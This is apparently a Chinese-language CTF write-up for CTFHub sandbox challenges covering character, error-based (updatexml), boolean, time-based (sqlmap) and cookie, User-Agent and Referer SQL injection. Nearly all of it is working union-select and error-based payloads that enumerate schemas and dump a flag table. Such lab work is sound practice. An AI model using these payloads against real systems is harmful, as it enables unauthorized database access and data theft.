SQL—字符型注入
- 使用hackbar ,寻找注入点
id=1
id=2
id=3#没回显
id=1' #没有闭合
id=1’ --+#在id后面加上--+
-
使用联合查询,得到数据库
-
获得所有数据库
union select version(),group_concat(schema_name) from information_schema.schemata --+
-
通过判断,获得sqli数据库中的所有表名
union select version(),group_concat(table_name) from information_schema.tables where table_schema='sqli'--+
-
ok,得到flag表,获取里面的所有数据
union select version(),group_concat(flag) from sqli.flag --+
SQL—报错注入
-
updatexml
-
通过报错注入获得数据库名
-
获得数据库名
?id=1 and updatexml(3,concat(0x5e,(select database()),0x5e),6)
-
获得sqli数据库下的所有数据表
?id=1 and (select updatexml(3,(concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),0x5e),6)
-
获得flag
?id=1 and (select updatexml(3,(concat(0x5e,(select group_concat(flag) from sqli.flag))),0x5e),6)
-
SQL—布尔注入
- 编写 boolean.py
- 使用python3 boolean.py获取flag
- 单写一篇
SQL—时间注入
sqlmap -u "http://challenge-c5804d820f966e2a.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump
SQL—Cookie注入
-
使用bp抓包
-
获得数据库
id=1 and 1=2 union select 1,database()#获得单个数据库 id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#获得全部数据库
-
表
-
获得字段,并得到flag
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='uzkitajolo'#获得uzkitajolo字段 id=1 and 1=2 union select 1, vlvojxxyqu from uzkitajolo #从uzkitajolo里获取vlvojxxyqu的flag
SQL—(UA)User-Agent注入
-
进行bp抓包
-
获取数据库
id=1 and 1=2 union select 1,database()
-
获取表格
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
-
获取字段
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='news'
-
获取flag
SQL—Refer注入
-
抓包
-
获取数据库
id=1 and 1=2 union select 1,database()
-
获取表
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
-
获取字段
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='fipxvuexgc'
-
获取flag
id=1 and 1=2 union select 1,otiorqqpyw from sqli.fipxvuexgc
-